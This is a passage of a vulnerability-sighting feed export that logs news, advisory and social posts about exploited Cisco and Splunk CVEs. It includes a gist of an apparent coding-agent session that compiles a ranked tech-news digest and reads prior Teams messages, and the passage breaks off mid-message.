"source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T05:17:20.470466Z"}, {"uuid": "3f961275-d984-44f3-b42b-cc8aa383e936", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20253", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mosdi5oozx2m", "content": "\ud83d\udcf0 CISA: Celah Keamanan Splunk Enterprise Aktif Dieksploitasi, Wajib Patch Sebelum Hari Minggu\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/06/21/cisa-perintahkan-patch-celah-keamanan-splunk/\n\n#celahKeamanan #cisa #cve-2026-20253 #database #exploit #patching #perangkatKeras #serv", "creation_timestamp": "2026-06-21T12:06:48.764143Z"}, {"uuid": "7dd3a850-aa0f-42fc-8691-e5af0a9d1547", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/sen-perimetered.bsky.social/post/3moshfd2udl2r", "content": "CVE-2026-20262 \u2014 Cisco Catalyst SD-WAN Manager. Path traversal. CVSS 6.5. KEV-listed June 15. Actively exploited now.\n\nMedium score, management-plane target. SD-WAN Manager orchestrates your entire WAN fabric. Patch is available. The score will get it deprioritized. That's the trap.", "creation_timestamp": "2026-06-21T13:16:48.682197Z"}, {"uuid": "061fac70-c76f-4bb7-a00a-16a2afe73541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/on-your-marks.bsky.social/post/3mot3muufvc2k", "content": "First post on Bluesky and first post on Substack - detecting exploitation attempts against CVE-2026-20253 with Splunk and Tetragon open.substack.com/pub/dontsaas...", "creation_timestamp": "2026-06-21T19:18:59.071358Z"}, {"uuid": "f558dc8f-c039-46be-b8fb-69635176e08e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-09)", "content": "", "creation_timestamp": "2026-08-10T10:15:06.792271Z"}, {"uuid": "9d53b5ee-6036-45ee-93e7-9616303ae79c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20124", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T05:16:59.725804Z"}, {"uuid": "4ce0ff4f-adf5-499f-a844-bfb58aa1581e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20268", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T05:17:07.344082Z"}, {"uuid": "af141471-4b7d-46bd-a328-380c6bbb3cf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20269", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/cisco-products-multiple-vulnerabilities_20260806", "content": "", "creation_timestamp": "2026-08-06T05:17:09.537003Z"}, {"uuid": "94f37cb8-7452-457a-a12c-ae2a56ed49b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3motnebjb3l2p", "content": "\ud83d\udea8  ALERT: CVE-2026-20223\n\nCVSS 10.0/10\n\n\ud83d\udccb WHAT IT IS:\nA vulnerability in the access validation of internal REST APIs of Cisco Secure Workload could allow an unauthenticated, remote attacker to access site resources with the privileges of the Site Admin role.\n\nThis vulnerability is due to", "creation_timestamp": "2026-06-22T00:36:15.616758Z"}, {"uuid": "e213ed6c-b10e-41c9-a847-e4f6c91729a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://thehackernews.com/2026/08/cisco-asa-and-ftd-flaw-exploited-in.html", "content": "Cisco has warned that a new vulnerability impacting Secure Firewall Adaptive Security Appliance (ASA) Software and Secure Firewall Threat Defense (FTD) Software has been exploited in the wild.\n\nThe high-severity flaw, tracked as CVE-2026-20349 (CVSS score: 8.6), is a case of insufficient error checking when processing HTTP requests that could allow an unauthenticated, remote attacker to trigger", "creation_timestamp": "2026-08-13T01:00:34.361913Z"}, {"uuid": "d3a79bb6-a338-4427-8794-2cc8c5ae9257", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco-2", "content": "Rilevato lo sfruttamento attivo della vulnerabilit\u00e0 CVE-2026-20349, che interessa i prodotti Cisco Secure Firewall Adaptive Security Appliance (ASA) e Cisco Secure Firewall Threat Defense (FTD), soluzioni utilizzate per la protezione delle reti e l'accesso remoto mediante VPN.", "creation_timestamp": "2026-08-13T01:00:34.818288Z"}, {"uuid": "07e60b55-f339-4a4f-a7ab-301f4a53e03a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3motoedours25", "content": "Splunk Enterprise\u306b\u304a\u3051\u308b\u8a8d\u8a3c\u4e0d\u8981\u306e\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\uff08RCE\uff09\u306e\u8106\u5f31\u6027\u304c\u73fe\u5728\u653b\u6483\u3092\u53d7\u3051\u3066\u3044\u308b\uff08CVE-2026-20253\uff09 \n\nUnauthenticated RCE in Splunk Enterprise under active attack (CVE-2026-20253)  #HelpNetSecurity (Jun 19)\n\nwww.helpnetsecurity.com/2026/06/19/s...", "creation_timestamp": "2026-06-22T00:54:12.434867Z"}, {"uuid": "c985a5df-8334-4c91-9c7b-52398a8f7a94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mottrv2xxt2l", "content": "Top 3 CVE for last 7 days:\nCVE-2026-50656: 28 interactions\nCVE-2026-20262: 25 interactions\nCVE-2026-54420: 25 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-20253: 6 interactions\nCVE-2026-25253: 4 interactions\nCVE-2026-35469: 4 interactions\n", "creation_timestamp": "2026-06-22T02:31:15.598793Z"}, {"uuid": "1d0fa1b9-de2c-42cd-94e7-bc4a4d96eb1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mottrv2xxt2l", "content": "Top 3 CVE for last 7 days:\nCVE-2026-50656: 28 interactions\nCVE-2026-20262: 25 interactions\nCVE-2026-54420: 25 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-20253: 6 interactions\nCVE-2026-25253: 4 interactions\nCVE-2026-35469: 4 interactions\n", "creation_timestamp": "2026-06-22T02:31:15.995322Z"}, {"uuid": "5c2f0d0a-28d1-49d8-85f8-0cbfb856c3d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mou4ccnhz42s", "content": "Daily IT Security Digest \u2014 2026-06-22\n1. **Cisco Catalyst SD-WAN Manager Zero-Day (CVE-2026-20262) Exploited in the Wild**\n   Attackers with write access can escalate to root via crafted HTTP requests on Cisco Catalyst SD-WAN Manager. CISA has acknowledged the threat and recommended immediate", "creation_timestamp": "2026-06-22T05:03:36.130528Z"}, {"uuid": "71933364-f13e-435b-a0d1-a87977ed5d69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "https://gist.github.com/jenishkumar88/a846835aef738313ba34441819afc9c4", "content": "# Create tech news summary\n\n> Create a news summary for colleagues working in the tech, IT, and AI industry who may not be keeping up with day-to-day news about AI, software engineering and related technology topics.\n>\n> Review between 50 and 100 news articles published within last 7 days from current date from news sources,websites,RSS feeds,Google News, Hacker News, GitHub Blog, OpenAI, Microsoft, AWS, Google Cloud, CISA, major technology publications and other authoritative technology news sources based on overall impact to AI, software engineering, cloud computing, developer productivity, cybersecurity, major technology companies, open-source ecosystems and enterprise technology adoption.\n> Focus on news that is most relevant to developers, engineering teams, technical leaders, and technology businesses, then create a new Microsoft Teams post in channel 'ChatReview' with the final ranked summary.\n>\n> Create a ranked list containing 10 to 15 news items and rank candidate articles using the following factors:\n> Score each article with scale of 1-5 with each following criteria:\n> Industry impact\n> Relevance to software engineers and technical leaders\n> Significance to AI and machine learning developments\n> Impact on developer tools, cloud platforms, or engineering workflows\n> Security, privacy, or infrastructure implications\n> Adoption by major technology companies\n> Novelty compared to previously posted updates\n>\n> Generate a total score by adding all criteria scores. Rank each article by total score in proper order. If two articles have the same  score,priotize article that has high impact.\n> each item should have  title and link and small description(Max 200 characters) (format we can make proper with no category anything plan simple list ) into Microsoft Teams channel \"ChatReview\"  and before posting, review previous posts in Microsoft Teams channel 'ChatReview' and exclude any duplicate stories based on the duplicate rules below.\n>\n> below criteria for repeated item should be followed\n> Do not include news items that is already added in previous ChatReview posts. Treat articles covering the same underlying event, announcement, product release, acquisition, funding round, security incident, research breakthrough, or company update as duplicates even if reported by different websites, headlines, or URLs. Only select the most complete or authoritative source for duplicate stories.\n\n1 previous message\n\n> System error\n>\n> Invalid value: 'max'. Supported values are: 'none', 'minimal', 'low', 'medium', 'high', and 'xhigh'.\n\n\n> Create a news summary for colleagues working in the tech, IT, and AI industry who may not be keeping up with day-to-day news about AI, software engineering and related technology topics.\n>\n> Review between 50 and 100 news articles published within last 7 days from current date from news sources,websites,RSS feeds,Google News, Hacker News, GitHub Blog, OpenAI, Microsoft, AWS, Google Cloud, CISA, major technology publications and other authoritative technology news sources based on overall impact to AI, software engineering, cloud computing, developer productivity, cybersecurity, major technology companies, open-source ecosystems and enterprise technology adoption.\n> Focus on news that is most relevant to developers, engineering teams, technical leaders, and technology businesses, then create a new Microsoft Teams post in channel 'ChatReview' with the final ranked summary.\n>\n> Create a ranked list containing 10 to 15 news items and rank candidate articles using the following factors:\n> Score each article with scale of 1-5 with each following criteria:\n> Industry impact\n> Relevance to software engineers and technical leaders\n> Significance to AI and machine learning developments\n> Impact on developer tools, cloud platforms, or engineering workflows\n> Security, privacy, or infrastructure implications\n> Adoption by major technology companies\n> Novelty compared to previously posted updates\n>\n> Generate a total score by adding all criteria scores. Rank each article by total score in proper order. If two articles have the same  score,priotize article that has high impact.\n> each item should have  title and link and small description(Max 200 characters) (format we can make proper with no category anything plan simple list ) into Microsoft Teams channel \"ChatReview\"  and before posting, review previous posts in Microsoft Teams channel 'ChatReview' and exclude any duplicate stories based on the duplicate rules below.\n>\n> below criteria for repeated item should be followed\n> Do not include news items that is already added in previous ChatReview posts. Treat articles covering the same underlying event, announcement, product release, acquisition, funding round, security incident, research breakthrough, or company update as duplicates even if reported by different websites, headlines, or URLs. Only select the most complete or authoritative source for duplicate stories.\n\n\n9 previous messages\n\n> I\u2019m using the Teams posting workflow for the full run: I\u2019ll first rebuild the prior-story exclusion set from ChatReview, then review and score 50\u2013100 articles from June 16\u201322, 2026, and post the ranked, de-duplicated list with links and sub-200-character summaries. After posting, I\u2019ll verify the message in Teams.\n>\n> \nRan 4 commands, called 3 tools\n>\n> - Ran `$p='C:\\Users\\Jenishkumar\\.codex\\memories\\skills\\teams-chatreview-posting\\SKILL.md'; if (Test-Path -LiteralPath $p) { Get-Content -LiteralPath $p -Raw } else { Get-Content -LiteralPath 'C:\\Users\\Jenishkumar\\.codex\\plugins\\cache\\openai-curated-remote\\teams\\0.1.3\\skills\\teams-messages\\SKILL.md' -Raw }`\n>\n> - Ran `rg -n -i \"Task 2 3|ChatReview|731 unique candidates|score_entries\" \"C:\\Users\\Jenishkumar\\.codex\\memories\\MEMORY.md\" | Select-Object -First 60`\n>\n> - Ran `rg --files`\n>\n> - Ran `Get-ChildItem -Force | Format-Table -AutoSize Name,Length,LastWriteTime`\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.list_chat_messages\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"top\": 100\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"messages\": [\n>     {\n>       \"message_id\": \"1781868597362\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781868597362\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868597362?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Concise Meeting Review \u2014 Replacement\\n\\n**Scores:** Overall **5.3/10 \u2014 Needs Improvement** | Grammar **4/10** | Communication **5/10** | Frustration handling **7/10 \u2014 Good** (no external client was evident, so this score is provisional).\\n\\n**Summary:** The team made useful decisions about architecture, bugs,\\ndocumentation, and priorities. The main weakness was unclear wording and\\nmoving between topics without confirming the decision, owner, deadline, and\\nacceptance test.\\n\\n### Top Issues\\n\\n  * **HIGH \u2014 00:02:** Unclear opening; no agenda or required outcomes.\\n  * **HIGH \u2014 03:03:** Vague status request (\u201chow much complete and how much rest\u201d) could produce unreliable estimates.\\n  * **HIGH \u2014 18:37:** Migration explanation mixed several systems and decisions without a checklist, creating rework/security risk.\\n  * **MEDIUM \u2014 25:20\u201325:56:** Repeated, conflicting discussion about tap behavior ended without a testable acceptance criterion.\\n\\n**Repeated questions:** Architecture, login, bug, and microphone checks were\\nnecessary. Generic \u201cwhat\u2019s clear?\u201d checks and repeated tap/table discussions\\nwere inefficient because nobody restated the final decision.\\n\\n### Trend Across 20 Prior Meetings\\n\\n  * **Improved:** Better handling of access boundaries, technical dependencies, release risks, and prioritization.\\n  * **Still recurring:** Unclear scope/timelines, long technical explanations, repeated clarification, and verbal requirements without written acceptance criteria.\\n\\n### Recommended Actions\\n\\n  1. Open with purpose, three outcomes, agenda, and end time.\\n  2. Ask for status as: done | remaining | blocker | owner | due date.\\n  3. Close each topic with: decision | owner | date | acceptance test.\\n  4. End with a two-minute read-back of actions and unresolved risks.\\n\\n_Client/product/contact/account/credential details were removed. Grammar\\nfindings may partly reflect multilingual speech and transcription errors._\",\n>       \"created_at\": \"2026-06-19T11:29:57.362Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868597362?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781868451230\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781868451230\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868451230?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer \u2014 Most Recent Completed Meeting\\n\\n**Meeting date:** 21 Apr 2026  \\n**Review scope:** Full transcript of the selected meeting; 2 nearest prior\\nfull transcripts; summaries/action items from the other 18 preceding meetings.  \\n**Privacy:** Client, product, account, contact, and credential details have\\nbeen removed. Speaker names are replaced by roles.\\n\\n### Scorecard\\n\\n  * **Overall: 5.3/10 \u2014 Needs Improvement** (average of the three scores below)\\n  * **Grammar: 4/10 \u2014 Needs Improvement** \u2014 frequent sentence fragments, missing verbs/articles, vague pronouns, and unfinished thoughts.\\n  * **Communication: 5/10 \u2014 Needs Improvement** \u2014 useful technical decisions were reached, but questions and handoffs were often unstructured.\\n  * **Client-frustration handling: 7/10 \u2014 Good** \u2014 higher means less observed friction. No external client was evident in this meeting; the score is provisional and reflects internal confusion/repetition rather than client dissatisfaction.\\n\\n_Fairness note: the transcript contains multilingual speech and likely speech-\\nrecognition errors. Grammar observations should be treated as coaching\\nsignals, not accent judgments._\\n\\n### Conversation Summary\\n\\nThe team reviewed project status, architecture, migration work, bugs,\\ndocumentation, and feature priorities. They agreed to consolidate backend\\nwork, fix critical login/audio/grammar-correction issues, document the\\narchitecture, prioritize core learning and role-play flows, and defer lower-\\npriority notifications/referral work. The technical direction was broadly\\nsound, but the call lacked a crisp agenda, item-by-item status format,\\nacceptance criteria, and a final owner/deadline recap.\\n\\n### What Went Well\\n\\n  * **Architecture clarification:** At **02:46** , the lead asked which backend/service components were actually in use. This was a necessary question before migration decisions.\\n  * **Documentation recognized:** At **11:01** , the team requested a project document; the resulting action list captured architecture and feature documentation work.\\n  * **Functional verification:** At **28:48\u201329:04** , the team checked whether microphone and speech-correction behavior was complete instead of assuming it worked.\\n  * **Prioritization:** At **31:30\u201332:04** , lower-priority reminder/referral work was deferred so the team could focus on core functionality.\\n\\n### Priority Issues and Evidence\\n\\n  1. **HIGH \u2014 Unclear opening and meeting objective.**  \\n**Transcript 00:02:** \u201cSo you have to ask about [product] \u2026 we discussed this\\n\u2026 okay?\u201d  \\nThe call began without a clear purpose, expected decisions, or order of\\ntopics. This increases meeting time and the risk that participants solve\\ndifferent problems.  \\n**Improve:** \u201cToday we need three outcomes: current status, blockers, and\\nowners/dates for remaining work.\u201d\\n\\n  2. **HIGH \u2014 Vague status request.**  \\n**Transcript 03:03:** \u201cTell us \u2026 how much complete and how much rest.\u201d  \\nThe intent is understandable, but the request does not specify features,\\nevidence, blockers, or dates. This can produce unreliable estimates and missed\\nscope.  \\n**Improve:** \u201cFor each feature, state: done, remaining, blocker, owner, and\\ntarget date.\u201d\\n\\n  3. **HIGH \u2014 Long, unstructured architecture explanation.**  \\n**Transcript 18:37:** \u201cWe need everything in [backend] \u2026 there is no cloud\\nfunction \u2026\u201d followed by repeated services, tables, and secret-handling\\nreferences.  \\nSeveral decisions were mixed together without a clear migration checklist or\\ndefinition of done. Business risk includes configuration errors, security\\noversights, and rework.  \\n**Improve:** present \u201ccurrent state \u2192 target state \u2192 components to migrate \u2192\\nitems to remove \u2192 validation owner/date.\u201d\\n\\n  4. **HIGH \u2014 Contradictory acceptance criteria.**  \\n**Transcript 25:20\u201325:56:** \u201cLearn flow?\u201d / \u201cIt doesn\u2019t [need to be] tappable\u201d\\n/ \u201cNo, no, no.\u201d  \\nParticipants discussed the same interaction in different terms, but nobody\\nrestated the final decision. This can send development in the wrong direction.  \\n**Improve:** finish with one testable sentence: \u201cDecision: tapping a chat\\nmessage will/will not trigger X; owner Y will demo it by date Z.\u201d\\n\\n  5. **MEDIUM \u2014 Weak closed-loop confirmation.**  \\n**Transcript 01:08\u201301:52:** \u201cWhat\u2019s clear?\u201d was repeated around an audio/mute\\nproblem.  \\nRepeating a generic question does not prove shared understanding.  \\n**Improve:** \u201cPlease repeat the two actions you own and their deadlines.\u201d\\n\\n  6. **MEDIUM \u2014 Premature task closure without ownership.**  \\n**Transcript 09:49\u201310:00:** \u201cRemaining tasks are cleared\u201d followed by a\\nfragmented \u201cone, two \u2026 start \u2026\u201d instruction.  \\nThe meeting moved on before the owner, due date, and completion evidence were\\nstated.  \\n**Improve:** use a visible decision/action log throughout the call.\\n\\n  7. **LOW \u2014 Vague closing question.**  \\n**Transcript 32:22:** \u201cYou said that were doing it?\u201d  \\nThe close did not summarize decisions or invite targeted corrections.  \\n**Improve:** \u201cBefore we finish: here are the decisions, owners, and dates.\\nWhat did I miss?\u201d\\n\\n### Repeated Questions: Necessary vs. Unnecessary\\n\\n  * **Necessary:** **02:46** backend/service usage; **08:00\u201308:08** login testing; **18:08** pending bug list; **28:48\u201329:04** microphone/speech-correction verification. These reduce technical and delivery risk.\\n  * **Inefficient repetition \u2014 MEDIUM:** **01:08\u201301:52** generic \u201cwhat\u2019s clear?\u201d checks; **21:11\u201321:28** repeated table-use discussion without naming the exact data/decision; **25:20\u201325:56** repeated tap-behavior discussion without a written acceptance criterion.\\n\\n### Unclear Requests and Missed Opportunities\\n\\n  * **HIGH, 03:03:** missed the chance to request a structured feature-by-feature status report.\\n  * **HIGH, 18:37:** missed the chance to convert migration discussion into a checklist with validation and rollback criteria.\\n  * **MEDIUM, 09:49\u201310:00:** missed the chance to assign owners and dates before declaring tasks clear.\\n  * **MEDIUM, 25:20\u201325:56:** missed the chance to write one acceptance criterion and have the implementer read it back.\\n  * **LOW, 32:22:** missed the chance to close with decisions, actions, risks, and the next review date.\\n\\n### Likely Root Causes of Friction\\n\\n  * No visible agenda or shared status checklist.\\n  * Multiple questions and technical concepts combined in one sentence.\\n  * Heavy use of vague words such as \u201cthis,\u201d \u201cthat,\u201d \u201cit,\u201d and \u201cremaining\u201d without naming the component.\\n  * Too many topics\u2014architecture, bugs, UI, documentation, notifications, and referral work\u2014without timeboxing.\\n  * Decisions remained verbal instead of being converted immediately into acceptance criteria and owner/date actions.\\n\\n### Trend Across the 20 Prior Meetings\\n\\n**Improving:**\\n\\n  * The nearest prior client call showed better judgment: when source-code access was declined, the lead accepted the boundary, requested tester access and a scope document, and agreed on a quote-after-review process. The client remained cooperative.\\n  * Recent meetings increasingly captured technical decisions, blockers, staged-release/rollback thinking, and concrete action items.\\n  * The lead is improving at identifying dependencies before estimating and at prioritizing critical functionality over lower-value additions.\\n\\n**Still recurring:**\\n\\n  * **HIGH:** scope and timeline clarity. A prior March meeting also recorded that several tasks, scope, and timing remained unclear; the same pattern appears at 03:03 in the selected call.\\n  * **HIGH:** long explanations of high-risk technical changes without a short recommendation and decision recap. This appeared in both a prior production-launch discussion and the selected architecture discussion.\\n  * **MEDIUM:** repeated access/dependency clarification. Often necessary, but much of it could be handled by a pre-meeting artifact checklist.\\n  * **MEDIUM:** reliance on verbal requirements. Multiple prior meetings called for tickets, documentation, or more detailed requirements, and the selected meeting still required a missing architecture document.\\n\\n**Trend confidence: Medium.** Three meetings were reviewed from full\\ntranscripts; the other 18 historical meetings were compared through their\\nFathom summaries/action items because the connector limits full-transcript\\nretrieval to three per review.\\n\\n### Recommended Actions\\n\\n  1. **P0 \u2014 Use a 60-second opening:** purpose, three required outcomes, agenda, and end time.\\n  2. **P0 \u2014 Use one status template:** component | done | remaining | blocker | owner | due date | proof.\\n  3. **P0 \u2014 Close every topic:** \u201cDecision / Owner / Due date / Acceptance test.\u201d Ask the owner to read it back.\\n  4. **P1 \u2014 Use simpler English patterns:** one question per sentence; name the component; avoid \u201cthis/that/it\u201d when several items are being discussed.\\n  5. **P1 \u2014 Explain risks in five lines:** risk, cause, impact, options, recommendation.\\n  6. **P1 \u2014 End with a two-minute recap:** decisions, actions, unresolved risks, and next review date.\\n  7. **P2 \u2014 Measure the next five meetings:** number of repeated clarifications, actions with owner/date, unresolved decisions, and client corrections.\\n\\n**Scoring rubric:** 1\u20133 Poor | 4\u20136 Needs Improvement | 7\u20138 Good | 9\u201310 Excellent\",\n>       \"created_at\": \"2026-06-19T11:27:31.23Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781868451230?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863296933\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863296933\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 10/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[Route 53 DNS Firewall integrates Palo Alto threat protection](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-route-53-resolver-dns/)** \u2014 **Score: 31/35.** Route 53 Resolver DNS Firewall can preview Palo Alto Networks threat intelligence, adding another managed control against malicious domains.\\n  2. **[Microsoft fixes failed Windows Server 2016 security updates](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-windows-server-2016-security-update-failures/)** \u2014 **Score: 30/35.** Microsoft fixed a problem that caused June security updates to fail on Windows Server 2016 systems that were missing earlier servicing updates.\\n  3. **[Amazon RDS adds Graviton5 M9g database instances](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-rds-postgresql-mysql-mariadb-m9g-instances/)** \u2014 **Score: 30/35.** RDS now offers Graviton5 M9g instances for PostgreSQL, MySQL and MariaDB, claiming up to 30% higher performance and 23% better price-performance.\\n  4. **[CloudWatch centralizes metrics across accounts and regions](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cross-account-metrics-centralization)** \u2014 **Score: 30/35.** CloudWatch can replicate metrics from multiple accounts and regions into one destination, simplifying enterprise observability and access management.\\n  5. **[AWS expands nested virtualization across Intel instances](https://aws.amazon.com/about-aws/whats-new/2026/06/nested-virtualization-intel-us-gov-cloud/)** \u2014 **Score: 30/35.** AWS expanded nested virtualization to more Intel instance families and GovCloud regions, supporting hypervisor, lab and appliance workloads.\\n  6. **[CloudWatch Query Studio reaches general availability](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-cloudwatch-query-studio-generally-available)** \u2014 **Score: 29/35.** CloudWatch Query Studio provides one interface for querying and visualizing metrics, reducing context switching during operations and incident analysis.\\n  7. **[CNCF program expands Arm64 testing for open-source projects](https://www.cncf.io/blog/2026/06/15/improving-arm64-support-in-cncf-projects-with-oci-credits/)** \u2014 **Score: 29/35.** CNCF is using OCI credits to improve Arm64 build and test coverage as Arm-based instances gain share across major cloud platforms.\\n  8. **[AWS improves EBS rightsizing with spike-aware metrics](https://aws.amazon.com/about-aws/whats-new/2026/06/aws-compute-optimizer-enhances-ebs-recommendations/)** \u2014 **Score: 28/35.** Compute Optimizer now considers IOPS and throughput-exceeded signals when rightsizing EBS volumes, reducing performance risk from hidden spikes.\\n  9. **[Apple patches a high-severity Beats eavesdropping flaw](https://arstechnica.com/apple/2026/06/apple-patches-high-severity-eavesdropping-vulnerability-in-beats-studio-buds/)** \u2014 **Score: 27/35.** Apple patched a high-severity vulnerability affecting Beats Studio Buds that could enable eavesdropping; related hardware from multiple vendors is affected.\\n  10. **[GameLift improves container fleets for game servers](https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-gamelift-servers-container-fleet-improvements)** \u2014 **Score: 27/35.** GameLift added container-fleet controls for deployment flexibility and inter-container communication, addressing common game-server operations issues.\",\n>       \"created_at\": \"2026-06-19T10:01:36.933Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863296933?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781863295479\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781863295479\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781863295479?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News \u2014 June 19, 2026 \u2014 Additional Pass 9/10\\n\\nReviewed 50\u2013100 more candidates from the June 12\u201319 source sweep. All earlier\\nChatReview events and prior-pass stories were excluded.\\n\\n  1. **[AI demand broadens the chip boom across 